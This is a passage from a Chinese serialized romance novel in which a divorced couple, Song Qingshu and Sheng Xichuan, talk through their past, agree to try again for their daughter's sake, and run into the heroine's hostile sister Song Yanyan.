而且,珍珠看盛熙川的目光,她实在忽视不了。
在宋清殊和其他大人面前,珍珠是屈居在孩童躯壳里的大人,只有在盛熙川面前,她才是那个天真可爱的孩子。
她的立场没有错,想要爸爸妈妈在一起,是一个孩子最朴素的心愿,怎么能算自私呢?
至于宋清殊,作为一个母亲,理智上让自己不要被孩子裹挟,情感上又很难不把孩子考虑在内。
除非她独身一辈子,但凡有任何再婚的可能,珍珠的意见都会是最重要的。
她实在没法用“不要为孩子委屈求全”这样的话来说服自己。
兜兜转转,她一个在国外生活八年的人,竟然也成了一个最传统的,愿意为了孩子“牺牲”自己的母亲。
不,也不能这样说,
毕竟,她这样,也是因为跟盛熙川有感情基础,不全是为孩子“牺牲”。
更不该把这种“牺牲”算在珍珠头上。
是她亏欠珍珠太多。
“也不算表演,只面对我自己的时候,她也那样天真可爱。”盛熙川说。
又说,“谢谢你给我生了一个这样完美的女儿,小宝。”
盛熙川看珍珠,哪里都好。
他不像宋清殊那样患得患失,因为珍珠是个天才,便悲观地认为,她失去了很多儿童的快乐。
盛熙川觉得,自己的女儿是天才,便避免了很多童年出糗的时刻,也会比同龄人少走很多弯路。
更重要的是,很多天才都是牺牲情商来换取智商。但他女儿不是,他的女儿双商都很惊人,还有个好身体,简直完美。
这一切,都归功于宋清殊四年前“去父留子”的决定,她“摧毁”了两人的婚姻,却保存了爱的种子。
宋清殊:“你滤镜太厚了,珍珠可爱是可爱,哪里天真?”
盛熙川:“她太聪明了,所以她的天真没有那么直白,但还是天真的。”
……行吧,宋清殊不想跟他争这些有的没的。
她早就发现了,盛熙川和珍珠,两人看彼此都是哪里都好,没有一点缺陷。
父慈女孝,一同套路她。
“我愿意为了珍珠,跟你再尝试一下,慢慢接触,重新了解彼此,看看有没有以后继续共同生活的可能性。
但这个尝试,我希望是一个重新开始,而不是假装中间的这四年没有存在过,马上回到当初没离婚的状态。你可以接受吗,盛熙川?”
这还说什么呢?
好似一个马上就要执行的死刑犯突然得到通知,从死刑变成了无期徒刑,好好表现,还有希望从无期变有期。
已经是天大的幸运和恩赐。
“当然可以接受,宋清殊,我说过,你想要我的命都能随时拿走,给我再次追求你的机会,我已经很知足。”盛熙川说。
“之前是我太急于求成,一见到你就发疯,特别是听说咱们还有个女儿之后,更是难以自控。”他苦笑,“也正因为如此,才吓到了你。”
宋清殊笑:“你的确做了很多发疯的事。比如那个铜锅,原本就算倒下来,也根本烧不到你身上。”
盛熙川眼球地震了一下,他嘴唇翕动,好久才发出声音。
“你是什么时候知道的?”
第313章 谈心
这件事,宋清殊一直觉得不对劲。
最不对劲的地方,是盛熙川被烧伤的那么严重,却没有追究那个人的责任。
最起码,没有把侧重点放在追究那个服务员的责任上。
她假装无意间问过一次,也被他一笔带过了。
宋清殊刻意没表现出来对这件事的任何关注,以防打草惊蛇。
但在盛熙川出院后,她又去过那家烧烤涮一次。
打翻铜锅的服务员已经不在那儿做了,听别的服务员说,他临走时刚提了一辆小米SU7。
因为工作失误烫了盛熙川,不倾家荡产,已经是万幸,居然还有钱和心思提车。
宋清殊甚至不用去问,就知道这里面大概是怎么回事。
要么一切是蓄谋已久。
要么是在铜锅打翻的那一刹那,盛熙川临时起意。
但这其中,有一点是肯定的:那个锅子,如果不是刻意的人为因素,根本不会整个翻到他的胸膛上。
要是躲得及时,可能会被烫,但绝不会烫到需要植皮的程度。
盛熙川甚至给了封口费。
宋清殊聪明,脑子略微一转,便知道了,这是一出苦肉计。
但苦肉计并没有在她这里生效。
苦在盛熙川身上,她也没有因此回头。她总不好再反过头去指责一个受伤的人,让他下不来台。
关键是撕破脸对两人毫无意义。
后来她又很快因为莫兰溪和霍宗辞出事,追去了花都,这件事也就放下了。
不仅如此,在花都,她见证了宿命和生死,很多观念都发生了变化,对她和盛熙川的感情也有了新的认识。
“差不多在你出院的时候就知道了。”宋清殊说。
盛熙川觉得如果地上有条缝,他会毫不犹豫地钻进去。
他简直尴尬的无地自容。
“原本真的只是想吃顿饭而已,后来,恰好那个服务员险些撞到你,我才……将计就计。”
他已经极力在做表情管理了,可眸底的慌乱依然出卖了他。
实在不好找借口,最后只好放弃抵抗,轻咳了一声:“人一旦被贪婪和嫉妒裹挟,就容易出昏招。抱歉,给你造成了困扰。”
那时候他太想要她回头,以至于有些不择手段。
时过境迁,宋清殊只是笑,神情里倒没有责备的意思。
“的确是昏招。原本那么好看的肉体,被你自己摧残成那样。”
她还记得盛熙川漂亮的皮肤纹理,扎实的胸肌,纹理纵横的巧克力形状腹肌。
他曾把酒倒在自己腹肌的沟壑上,诱惑她去喝。
思绪不合时宜的飘到了不该去的地方,宋清殊迅速收回,双腮发烫。
两人的脸都有点红,一个是因为尴尬,一个是因为想到了不该想的画面。
房间里一时安静得能听见空调出风的细微声响。
两人都沉默了一瞬。
盛熙川忽然笑了,嗓音低哑:“所以你后来会不会觉得我简直活该?”
他笑,宋清殊也笑:“早知道是你自找的,我当时就该把烫伤膏换成辣椒油。”
氛围终于再次轻松下来。
“我错了。”盛熙川身子稍稍前倾,隔着桌子看她,“原谅一个没怎么恋爱过,更没有追妻火葬场过的人吧。”
现在想想自己的行为,他也觉得鲁莽到好笑的程度。
怎么会这么中二?
到底是为了感动她,还是道德绑架她?
那时候他的确是有些慌不择路了。
盛熙川从小到大很少有被自己蠢到的时候,这大概是头一次。
他怔了怔,旋即低笑起来,解开衬衫最上方两颗纽扣,把那块疤痕露给宋清殊看,厚着脸皮道:“看在我也吃了苦头的份上,原谅我吧。”
宋清殊的呼吸骤然乱了节奏。
知道是苦肉计是一码事,心疼却是另一码事。
“盛熙川,你要再这样,我不仅不会回头,还会跟你决裂,这辈子都不再理你了。”她盯着那块损伤的皮肤一字一顿地说。
“我知道错了,你就原谅我吧。”盛熙川隔着桌子捉她的手指,眼神热切。
宋清殊微微别过眼去。
室内的温度攀升,两人又是好一会儿的沉默。
宋清殊也有点为拆穿了盛熙川不好意思。
毕竟,他有百般好,帮了她那么多,总不能因为一点不好,就全盘否定。
原本今天的话题是给彼此一点机会,她翻旧账,总归是不太好。
于是,她先开口转移话题:“你说你恋爱经验不丰富,但到底比我强,我都没有恋爱过。”
这在她人生中最遗憾的事中,排第二,第一是没有被亲生父母爱过。
她是聊天,但听在盛熙川耳朵里依然是翻旧账。
这个话题他不怕,恰好还因此有了表白的机会。
“你是说,我和霓娜那一段吗?”盛熙川问她,眼神里的尴尬被坦然取代。
宋清殊:“我不是翻旧账,那时候你又不认识我……”
“怎么不认识?那时是你眼里没别人。”盛熙川也要委屈。
“没别人”自然是除了莫北丞没别人。
这下,换了宋清殊尴尬。
两人这个天儿聊的磕磕绊绊,可都憋了股劲儿似的,执意要说。
“我对舅舅,真的不是外界以为的那样。是我那时候没有接触过别的异性,分不清喜欢和爱。
因为那时候,主要是干妈和舅舅在带我。舅舅对于我来说,更像是父亲的角色。
当然,最主要的是因为我自己没有分清楚亲情和爱情的区别,才造成了后面的误会。”
这是宋清殊第一次认真解释这件事。
过去,并非她不长嘴,故意要他误会。
而是早期她自己也并没有分清,等后期分清时,已经错失了最好的时机。
盛熙川:“其实一开始我还真是这样以为的,那时候有绝对的信心战胜莫北丞。”
谁知,后来误会重重,在她认清自己的心时,他反而已经开始各种怀疑。
宋清殊笑:“所以,我们那时候真的差一点缘分。”
谁都没有滔天大错,可这错一点,那错一点,让他们的婚姻就这样土崩瓦解,在阳光下一点点风化掉了。
想起往事,两人都感慨。
“不说这茬,说说我们什么时候认识的。”盛熙川握着她的手便没有放开。
第314章 初识
第一次见宋清殊时,盛熙川14岁左右,不到15岁。
那天,正好是舒颜下山“看望”他。
和过去一样,母子两人大吵一架后,不欢而散。
恰逢盛司令去莫家谈事,便把盛熙川带上了,有让他散散心的意思。
一进莫家正厅,他一抬眼,便看到了二楼的小姑娘。
按两人的年龄差来算,宋清殊那时应该10岁左右。
头发很长,几乎垂到了腰间,烫了一头羊毛卷,穿一件蓬蓬裙,坐在二楼客厅的栏杆后面。
两条细白的腿,从缝隙里垂下来,百无聊赖地乱晃。
那是盛熙川头一次对说一个人长得像“洋娃娃”有实感。
世界上怎么会有这么漂亮的小孩?
她明明有一双大人的眼睛,感觉看得懂一切,却又那样天真。
看见她,盛熙川燥郁的心情都好了些。
他刚要开口问:“你是谁呀?”
就看到莫北丞出来,把她抱走了。
那时候,是盛熙川头一次心生嫉妒。
嫉妒什么,他也说不好。
在不知道宋清殊和陆、莫两家关系时,大概是嫉妒莫北丞有个长得跟洋娃娃一样的漂亮“妹妹”吧。
他也说不好。
后来,他去花园里枯坐,一个人继续跟自己荒唐的母亲生闷气。
小女孩不知从何处钻出来,塞了一根棒棒糖到他手心。
她带了点雾气的眸子实在太迷人,神情又太灵动。
那一年,盛熙川刚看完一部老电影《洛丽塔》。
“我的生命之光,我的欲念之火,我的罪恶,我的灵魂。”
他在心里反复咀嚼这段台词,心田里的荒芜似乎被一把火开垦。
但他不是变态,更不是恋.童.癖,他知道。
在这之前,盛熙川最讨厌吃棒棒糖了。
因为每逢舒颜出去跟男人乱搞,都会买一根棒棒糖给他。
如果是别人给他那颗糖,大概会被他打到脑袋开花。
可因为给的人是宋清殊,事情就变成了,不是糖的错。
那颗糖被他放进唇齿间,盛熙川觉得,他被治愈了。
宋清殊瞪大眼睛。
她根本没办法将这段故事跟自己联系起来。
但盛熙川描述的那个人,的确是她。
她很小的时候,的确打扮得很张扬。
性格比15岁之前外向一些是一方面,最主要的是,那时她的打扮都是陆夫人经手,陆夫人喜欢把她打扮成一个小公主。
“所以,我们居然认识的那样早。”她错愕。
盛熙川:“确切的说,是我认识你那样早。”
宋清殊:“……你对我印象很好吗?”
盛熙川:“差不多从那个时候就决定长大娶你了吧。”
宋清殊好一阵没说话。
她的手在盛熙川手心里,热源一阵阵传来,心口都有点滚烫。
“乱说,我那时候还小。”
盛熙川:“既然话说到这儿了,那我要邀功,将功补过。”
“什么?”
“你记不记得,有人说过,我读书时为了一个女生打断了沈济臣的腿?”
宋清殊瞳孔地震:“你难道想说是为了我?”
盛熙川郑重点头。
“怎么可能是为我?我不认识你,也不认识沈济臣。”
“你出国前的那段时间,有几个苍蝇总围着你转。”盛熙川说,“你记不记得有天晚上,好几个人围住你,说了很难听的话,其中一个,还扯坏了你校服拉链?”
出国前,就是日记曝光,遭受校园暴力的时候。
被团团围住取笑奚落的场景不止发生了一次,但盛熙川说的这次,宋清殊还真记得。
也因为衣服被扯坏,回去后被宋家发现,她才被借机打发出国。
“所以,里面有沈济臣?”
她脸盲是一方面,最主要就是回忆太痛苦,她实在记不清那些丑恶的脸。
盛熙川点头:“他为首。”
“所以,你打断他的腿,居然是为了我。”
说不上心中是什么感受,五味杂陈。
宋清殊抿唇,鼻子发酸。
盛熙川抬了抬眉:“所以够不够我将功补过?”
宋清殊喉间哽咽:“两次都是为我,你哪有过?”
盛熙川:“想道德绑架你,就已经错得离谱。”
宋清殊疯狂摇头,却说不出煽情的话来。
“那……你还没说,你和霓娜。”
“你出国后我有点发疯接受不了。
思来想去,总觉得是因为自己没谈过恋爱,恰好她有些神态又跟你有点像。”
……
多么震撼的理由。宋清殊目瞪口呆。
一时间想不出任何应对的话。
这话如果是别的男人说,她一定会觉得花言巧语。
可从盛熙川口中说出来,绝对是真的。
她震撼到不能自已。
没想到的确有替身文学这回事,她才是那个白光。
心跳声大的几乎吵到自己,宋清殊很久没作声。
“……那你怎么从来没告诉过我。”她嘟哝,嗓子哑得厉害。
说这些,不比那些自作聪明的苦肉计好用一万倍?
“过去是觉得没必要,说出来也怕你不信,觉得我花言巧语。”
盛熙川如实说。
最主要的就是,他还不需要靠做一个“舔狗”来证明自己的魅力。
宋清殊摇头。
“你说我就会信,因为你绝对不会拿这种事骗我。”
盛熙川“嗯”了一声。
“现在说也不晚,还能稍微挽救一下我的形象。”
他带了点打趣的意思。
“所以,爷爷说你要娶我,是蓄谋已久,也是真的。”
肯定句。
“你以为是我恶名在外,没人敢嫁是不是?”盛熙川露出“凶恶”眼神。
宋清殊尴尬笑了一声。
盛熙川:“人在巨大的利益面前,哪个不是挤破头?你太低估了她们的贪婪。”
不止利益,毕竟平心而论,盛熙川还有美色。
“那个……那时候确实比较天真。”宋清殊说。
盛熙川从鼻子里“哼”了一声。
“不过就是不认可你老公的魅力。”
宋清殊:“打住,是前夫。”
“好,前夫。”
难怪,结婚前她要他去做财产公证,也直接被拒绝。
很多当时她以为的东西,似乎根本不是那么回事。
第315章 小红花
宋清殊早上出门到楼上盛熙川处,一直待到傍晚都没有回去。
她跟盛熙川一起吃了早饭,又吃了午饭,中间加餐,喝了盛熙川在灶上特地为她煮的粥。
两人聊了特别多,好像把这几年缺失的沟通都补上了。
她从来没想过,自己年少时已经跟盛熙川有这样奇妙的一段缘分。
盛熙川说的对,那时她眼里没有,也看不到别人。
在两人婚后的那段日子,她知道盛熙川是喜欢自己的。
如果不喜欢,他也不至于一次次因为莫北丞发疯。
只是,她觉得这喜欢多少带了点莫名其妙。
有了这个年少时的前情,突然一切都说得通了。
盛熙川跟她讲自己的年少时期,讲舒颜和盛家的恩怨。
讲他还是个孩子的时候,如何被母亲诅咒,说他跟盛家其他人一样冷血,应该下地狱。
他的母亲,不爱他且不屑于伪装;他的奶奶,死于母亲精心策划的枪战;他的父亲,心思不在他身上。
盛熙川没有得到过完整的爱,也不知如何正确地去爱人。
正因如此,喜欢宋清殊,便要她身心都要完完全全属于她,容不得有半点缺失。
在明知宋清殊不会肉体出轨时,依然苛责,直到最后把她逼走,让她远离。
本以为那个时候自己已经非常成熟了,如今,两人说起过去的彼此,都觉得幼稚的可笑。
宋清殊心疼他。
一整天的时间,两人都在互相倾诉,也在彼此倾听。
如今再想起那些过往,有时候想哭,但更多的是一种释然。
直到后来,宋清殊忍不住笑。
她不只笑盛熙川,也笑她自己:“我们真的错过了好多呀,好像两个哑巴,今天才长出了嘴似的。”
后来,都说累了也听累了。
她歪在盛熙川的沙发上,眯起一双带着水雾的眼睛看他。
“不聊了,我困了,盛熙川。”
声音软软的,带着点娇气。
盛熙川的心软成一朵云。
“那你睡会儿。”他把中央空调的温度调高一些。
宋清殊点头,阖上眼,睡了一个长长的午觉。
再醒来时,天是黑的,晚上了。
宋清殊揉了揉发胀的脑袋坐起来,这才发现身上盖着盛熙川的外套,而他正坐在一旁看她。
盛熙川的眼神里是坦荡荡的欢喜和深情,宋清殊的心倏地一软。
“既然睡醒了,那就吃完晚饭再回。”盛熙川温声说,起身把客厅的灯调亮。
此时,恰好别墅那边送来了晚餐,还有酒。
盛熙川去开门。
宋清殊有点口干,起身给自己倒了杯水喝。
喝完水,脑子依然有点发僵,好一会儿才说:“珍珠……”
盛熙川听懂了。
他笑:“小人儿精一听你在我这儿,高兴还来不及。”
他放珍珠的语音给宋清殊听。
【爸爸,告诉妈妈不要着急,她不回来睡都行!】
稚嫩的声音从手机听筒传来,宋清殊无语扶额:“这孩子……”
盛熙川笑得宠溺又骄傲:“我还要多谢女儿的助攻。”
宋清殊没反驳他的话,她起床低血压,得缓缓。
直到在餐桌前坐好,她还处于脑子发懵状态。
盛熙川拿了个东西给她。
一张卡片和一张贴纸。
“这是什么?”宋清殊拿在手里,不解。
盛熙川:“原本是买给珍珠的,她嫌幼稚就闲置了,现在看,给我自己用刚刚好。”
宋清殊用眼神打了个问号。
盛熙川解释:“这是小朋友喜欢用的积分卡,以后,我每做一件让你喜欢的事,你可以贴一朵小花给我,十朵小花换一个奖励。”
他要的奖励,肯定不是物质上的东西,无非是牵手拥抱接吻之类。
宋清殊抬眼看他:“这么幼稚吗?”
盛熙川被她看得眼神有点害羞,却依然没有回避她的目光。
他目光灼灼:“感觉过去我们走了太多自以为成熟的错路,现在我可以幼稚笨拙一点。”
宋清殊捏着那两张纸。
暖黄的灯光下,盛熙川硬朗的五官轮廓显得格外柔和,连带着锋芒都敛去了不少。
比起过去总爱用强势的方式表达在意,他的确学会了示弱,用这样笨拙又可爱的方法靠近她。
“那要是你做了让我讨厌的事呢?”宋清殊故意问。
“有奖自然有罚,做得好,奖励一朵小红花给我。做错了,扣两朵。”
宋清殊笑:“那你可要好好表现,不要倒欠我的。”
盛熙川也笑:“你瞧不起谁呢?还是想想我集齐十朵小花给什么奖励吧。”
“你想要什么?”
盛熙川:“亲我一下。”
见宋清殊不作声,自己先心虚。
“不想亲的话,那就什么都不做,陪我一天。”
宋清殊抬眉:“成交。”
晚餐吃得非常愉快。
他们慢慢吃,慢慢聊。
话题以珍珠为主,两人愉快地替她做了规划,运动减肥和跟王岁岁学围棋。
热搜的事,谁也没顾上提。
这似乎是最不打紧的一件事——
花边新闻而已,除了满足一下人们的八卦之心,倒也没有别的。
最终,宋清殊决定置之不理。
而盛熙川直接用自己的微博账号转发了一条数据最多的热搜。
文案是:【感谢大家关心,如各位所见,我正在追求我的前妻宋清殊,各位可以关注我的进度,但请不要打扰她和我们的女儿】
盛熙川难得有好脾气,措辞客气,彬彬有礼,把全部火力引到自己身上。
既得利益者从不大声喧哗,他现在的状态就是这样。
因为宋清殊愿意跟他进一步发展,他得到了空前的满足。
以至于比任何时候都好说话。
网民自然说什么的都有——
【突然觉得盛熙川好深情啊】
【我是坚定的CP粉,立个flag:他们两个一年内必复合】
【我感觉他们早就在一起了,不过时不时地炒热度而已,毕竟知名度对盛世集团和陆氏的发展都有好处】
……
宋清殊略略翻了下那些言论,便把手机收了起来。
她对这些东西已经不是很在乎。
“来,我们喝一杯。”盛熙川给两人倒上酒。
“庆祝我被允许正式追求你。”
那样高高在上的人,为爱甘于把自己放在低位。
宋清殊眼睛有点潮。
“那祝你成功。”她笑。
第316章 爱屋及乌
晚上10:00多,宋清殊才决定回家。
盛熙川坚持送她下楼。
高档小区的电梯明明很宽敞,可两人站立其中,看着彼此,不知怎么就觉得空气不够用似的。
宋清殊放慢了呼吸节奏。
与此同时,她发现盛熙川也在刻意屏息。
说不上来的感觉,两人注视彼此,时间似乎停滞了一会儿。
电梯下一层楼只需要7秒。
随着“叮——”的一声,宋清殊到了。
她站在家门口跟盛熙川道别。
“我就不请你进去喝茶了。”
盛熙川脚步不动,一双眸子一瞬不瞬地看着她:“宋清殊,准备迎接我热烈的攻势了吗?”
宋清殊看眼前的男人。
她突然对网上那句“男人三十一枝花”有了实感。
他原本就有不输顶流明星的五官,如今几年过去,他的眉眼更加成熟。
过去眉目间赤裸的侵略性,被一层温柔的膜包覆,不熟的人怕是要被他骗过去。
他对她,依然志在必得,只是换了一个更温和的方式罢了。
宋清殊笑了一下,带了点无可奈何。
“你可以送我花,也可以送我回家。但不要像小孩子一样摆玫瑰花阵和无人机表演。”
温世誉的追求阵仗,简直是她心里的阴影。
盛熙川马上答应:“好。”
又说,“那就从明天接你下班开始。”
宋清殊瞪眼佯怒:“你都告诉我了,我还有什么惊喜。”
她那个模样,活脱脱是珍珠的放大版。
盛熙川笑出声来。
他伸手捏了一下她的脸:“小宝,你好像更可爱了。”
话音未落,入户门在两人面前“吱呀”一声打开。
珍珠小朋友插着腰无语地抬头看他们。
“爸爸妈妈,你们在门口站了有10分钟了,要不要进来聊?”
宋清殊明明没做什么,却蓦地红了脸。
这一刻,她和珍珠的关系错逆。
她觉得自己像个跟男同学早恋被大人抓包的小孩子。
“你上去睡觉吧,晚安。”她帮忙一边拉着珍珠进屋,一边对盛熙川道。
看着面前合上的门,盛熙川的心里泛起一丝甜意。
他知道,这一切不过是万里长征第一步,可有这个开始,就是好的。
宋清殊拉着珍珠进门。
“你洗漱了吗?怎么这么晚不睡觉?”她先发制人,以免被珍珠盘问。
珍珠一双黑亮的大眼睛咕噜噜转着,笑得很贼:“所以我磕的CP成真了吗?”
宋清殊板起脸:“你不是总跟爸爸悄悄发微信吗?怎么不问他?”
小样儿,还告诉盛熙川她不回家睡都行,可太早熟了。
珍珠吐吐舌头:“成年人谈恋爱,本来就可以一起睡,妈妈你不要害羞。”
宋清殊:“……珍珠,不是说了不要看那些狗血偶像剧?”
此时,雪姐正从客卫出来,接茬道:“她是不看偶像剧了,开始看红果短剧了。”
宋清殊无语。
她的女儿不是天才吗?没想到天才儿童的爱好还怪接地气儿的。
“我还没有跟爸爸正式谈恋爱,但他准备正式追求我了。”
珍珠一副“就这?”的表情,无语地睡觉去了。
她还以为两人互诉衷肠后会马上陷入热恋,这样看,她的爸爸妈妈还是太保守了一些。
当晚,珍珠睡自己房间,宋清殊一个人睡。
想起在白日里的种种,她的心里像有什么东西破土而出。
28岁,她好像终于要谈上正常的恋爱了。
盛熙川回去后,第一时间给苏白发了微信。
【苏白,你得帮我】他说。
眼下,楼珏已经进入孕晚期,怎么睡觉都不舒服,为了照顾她,苏白更是不到凌晨不睡觉。
他很快看到了盛熙川的微信。
【怎么了?】苏白问。
盛熙川居然有事用得到他,还是这样恳求的语气。
那边拿着手机就在等他回复。
【宋清殊同意再跟我试试,我在重新追她】
在盛熙川眼里,苏白的恋爱尤其顺风顺水到让他羡慕。
显然,这跟苏白热情浮夸打直球的性格是分不开的。
苏白没回复,因为他很快把电话打了过来。
“我去,你居然打动她了吗?”苏白一开口就很激动,“我最近都没跟我老婆套话,问宋清殊怎么想。”
他都对盛熙川的追妻路不抱希望了。
盛熙川“嗯”了一声:“只是拿到了入场券而已,怎么做还是要你告诉我。”
苏白提供了五花八门的追人方法。
不管是盛熙川还是宋清殊,这一晚情绪都有点激动,谁也没睡好。
第二天一早,助理抱着一束花进来的时候,宋清殊倒是不意外。
一大束稀有色玫瑰。
宋清殊欣赏片刻,说:“替我找个花瓶。”
她认真地插了起来。
收花是漂亮女生的权利,宋清殊从小到大收过不少。
可真正来自“暧昧对象”的花,还是头一次。
她将那束花的包装去掉,在瓶子里插好,摆在了醒目处。
这一天,她其实非常忙。
陆氏刚解决陆展的问题,陆二叔又因为涉嫌逼死未成年人进了看守所接受调查,无数积压的工作等着她。
如今,宋清殊已经一跃成了陆氏的第二大股东兼执行总裁,陆氏除了陆夫人,她的话语权最大。
堆积如山的文件等着她签字,之后,又开了几个会,宣布了新的人事调动。
原来二叔三叔的岗位,也都换了自己人。
宋清殊进陆氏还不到一年时间,居然带来了这样翻天覆地的变化。
如今,底下那些看她不顺眼的人,也已经开始服气。
她忙,盛熙川估计更忙,但依然要抽空给她发消息,要她中午记得吃饭,问她头还痛不痛——
昨天她在他家里睡醒时,头有点痛的。
宋清殊面不改色:【有一点。】
【晚上我去接你下班,6点钟能忙完吗?】
【估计要7点。】
盛熙川回了个珍珠【OK】的表情。
宋清殊每次看到珍珠的照片和表情包都会唇角上扬,这次也不例外,连带着更觉得发消息的人可爱。
原来爱屋及乌是这个意思,此时的珍珠小朋友有妙用。
第317章 宋妍妍挑衅
当晚,宋清殊7点钟也没能下班。
因为人事调动,下面的人汇报工作,有一些数据要核实,还有很多事要当场交代,她耽搁到了快8点。
开会途中,倒是抽空用手机给盛熙川发了个微信过去。
【可能要晚一会儿,要不你先回吧】
那边秒回:【不急,等你】
她笑了一下,把手机倒扣在桌面,没有再说什么。
一切结束,终于下班时,宋清殊终于松了口气。
换作以往,她应该会留下来复盘会议内容,把一切都处理好再下班。
可现在,她等不及了。
她想,自己向来工作兢兢业业,偶尔一次没那么敬业,也是可以理解的吧。
盛熙川的车停的位置很偏,并不张扬。
但是车太好,依然不少人侧目。
“宋总,姐夫来接啊。”
有个一同下楼到地库的实习生小姑娘不知是真不知道她和盛熙川的事,还是有意套近乎,笑道。
好接地气的称呼,上次这么叫盛熙川的人还是陆展。
宋清殊知道她没恶意,不好交浅言深,只笑笑没有作声。
盛熙川的司机站在外面等,替宋清殊拉开后排车门。
一开门,便对上盛熙川的笑脸。
他不知道在车上等了多久。
领带被自己扯松,西装外套随意地脱下来放在一旁,整个人往后靠着,看上去矜贵又慵懒。
看过来的眼神温软又深情。
地库里光线暗,宋清殊暗猜,他应该没有注意到她的双颊发烫。
好在加长幻影后排空间很大,两个座椅之间又有中央扶手隔着,坐在里面倒是不显暧昧。
“在外面吃完饭再回,好不好?”盛熙川问她。
宋清殊点了一下头。
“那吃你喜欢的那家广府菜。”他又说。
宋清殊没有异议。
车厢陷入沉默。
盛熙川先找话题。
“宋清殊,我拿到了硕东集团历年的资质评估报告。”
硕东是陆氏的一个同行,陆氏需要他们一个专利。之前一直是陆二叔在谈,如今陆二叔进去了,换宋清殊的人谈。
原本已经说好了的,但对方又推翻了之前对接的一切,有点要坐地起价的意思。
陆二叔是个老油条,跟很多供货商和服务商都勾勾搭搭,从中牟利不少。
那些公司跟他是利益共同体,他一走,势必有不少合作都要换公司换人。
但硕东这个技术国内就这一份,如果谈不成,就要去国外找。价格更高,更麻烦。
这件事,宋清殊也觉得棘手,正准备明天亲自去一趟的。
她从来没跟他谈过自己工作上的事,可盛熙川居然知道她需要。
她有点错愕,还没开口,又听盛熙川说:“他们吃过不少行政处罚,不过是过去没有联网,在网上查不到罢了。如果这些丑闻一旦爆出来,对他们的企业形象,会有不小的影响。”
“我觉得,你去谈判的话,这些一定用得上。”
他垂着眸子看她,眼神里有无限忠诚。
宋清殊的心砰砰乱跳。
当然用的上,这是她最需要的东西。
“所以……我给你贴朵小红花?”她尽可能让自己看上去沉稳一点。
“也可以不给,我只是希望你觉得开心。”
那双诚挚的眼睛,太让人沉沦。
宋清殊别开眼睛,不去看他。
她嘴上道:“困了,眯会儿,到了叫我。”
“好。”盛熙川说。
车内陷入沉默,又过了一会儿,隔着扶手,盛熙川的手越界,抓住了她的手指。
宋清殊心口再次乱跳,没有睁眼,手也没有抽回。
任凭他抓着自己那只手,时而揉捏指腹,时而十指相扣。
他捏她掌心,像平时她玩那只叫玛瑙的小猫的肉垫一般。
按下去又松开,再按再松。
宋清殊起初只是掌心滚烫,到后来一整条手臂都觉得热,那温度又顺着手臂爬到脸上。
她睫毛颤了几下,呼吸有点急。
都是成年男女,一起做过最亲密无间的事,连孩子都生过了,如果说对彼此没欲望,那不只是骗别人,简直是骗自己了。
两人沉默着不说话,彼此都心潮澎湃。
盛熙川不敢轻举妄动。
宋清殊则是后悔,觉得自己脑子有泡了昨天一本正经告诉他要玩纯爱。
他们两个,纯爱与否,哪有那么打紧?
车子终于驶入餐馆的停车场。
“到了。”盛熙川说。
宋清殊睁开眼,微微松了口气。
她莫名喘了一声,疑心自己声音有点娇,脸更红了。
好在盛熙川绅士地替她扶车门,看着她下去,并没有表现出什么异样。
下了车,两人的手放开,一同进入餐厅。
宋清殊是真的饿了。
她吃了不少。
盛熙川坐在对面看着她笑,全程没怎么吃。
“你不饿吗?”等她到这么晚,她就不信盛熙川不饿。
“秀色可餐。”盛熙川说。
他现在有情饮水饱,不吃不喝都开心。
过去怎么没发现,这个人实在是个情话高手。
他太喜欢在不适合说情话的场合,时不时冒出一两句情话来。
宋清殊没接茬。
她神色淡定,强撑着把一顿饭吃完。
但微微发红的耳朵出卖了她。
盛熙川更是看得身心愉悦,唇角都勾起来。
这家餐厅离小区不远。
“我让司机把车开走,一会儿我们走回去,消消食。”盛熙川说。
宋清殊没有拒绝。
两人都格外珍惜一切可以培养感情的机会。
一顿饭吃得很温馨,笼罩在粉色泡泡里。
吃完饭,两人下楼,盛熙川遇到个熟人,过去打招呼。
宋清殊准备去外面等,一转头,居然看见了许久不见的宋妍妍。
宋妍妍正和一个穿得像个爆发户似的男的牵着手从另一部电梯下来。
一见宋清殊,迅速把手抽了出来。
但她的动作没有逃过宋清殊的眼睛。
宋清殊微微挑了下眉,主动打招呼:“这么巧。”
见到宋清殊,宋妍妍脸色不太好看,好似最不堪的一面被人撞见了一般。
但她输人不输阵,很快打起精神,对宋清殊冷冷一笑。
“好久不见啊,二小姐。”
宋清殊勾唇,点头:“是啊,好久不见。”
宋清殊跟宋妍妍没什么好说的,打过招呼就要离开。
却听宋妍妍在背后阴阳怪气:“最近二小姐为了陆家可是殚精竭虑,呕心沥血。连自己亲妈都要死了,都不回去看看。
知道的你叫宋清殊,不知道的,还以为你姓陆。”
第318章 怀疑的种子
好好的,怎么又跟条狗似的乱吠?
宋清殊皱眉,转头看宋妍妍:“我是干妈养大的,姓了15年的陆,陆家出事帮忙难道不应该吗?
你口口声声告诉我,妈快病死了,怎么不见你守在床前尽孝?”
还有空出来跟这么个男的吃饭?
这话宋清殊没说,毕竟这个男的再怎么样也是不相干的人,她犯不着惹事。
宋夫人的病,宋清殊也查过了,虽说几乎是不治之症,但到不了“马上要死”的程度。
听她敢反驳,宋妍妍来了脾气。
“爸妈没有养你的恩,也有生你的恩,你胳膊肘往外拐,还不让人说了。
宋清殊,像你这种不管亲生父母,天天就知道攀高枝的,早晚从高枝上掉下来摔死。”
果然,一个人骂别人的恶毒话都是自己最渴望的东西。
宋妍妍骂宋清殊喜欢攀高枝,无非是觉得陆家比宋家更有钱。
年幼时,陆夫人就已经能花上百万给宋清殊办生日宴,宋妍妍还说出过为什么宋夫人不把她送给陆夫人,这样的话。
后来,宋妍妍又恨宋清殊被盛熙川青眼相待。跟她较劲,铆足了劲也想高嫁。
在四年前就恨不能抢尽风头,要在她跟盛熙川结婚前把自己嫁出去。
有些话外人不会当着宋家人说,但宋清殊有自己的观察力和判断。
她冷眼看着,恨嫁的宋妍妍这几年对外还是称单身,想必是没有合适的。
当然,“单身”的几年也没闲着就是了。
在上京的这几年里,宋清殊也听楼珏讲过几回宋妍妍的“风流韵事”,听说她跟不少已婚的世家公子有些首尾。
她的名声已经不大好了,眼下年纪又大了,前阵子又刚为沈济臣流掉一个孩子,圈子里不少人知道,再想嫁的好怕是难了。
宋清殊看着她,竟然莫名觉得有点悲凉。
“宋妍妍,你是自己攀不上高枝嫉妒吗?”
“嫉妒你?你也配。你该不会觉得盛熙川真的快回头了,你又要能嫁入盛家了吧?”
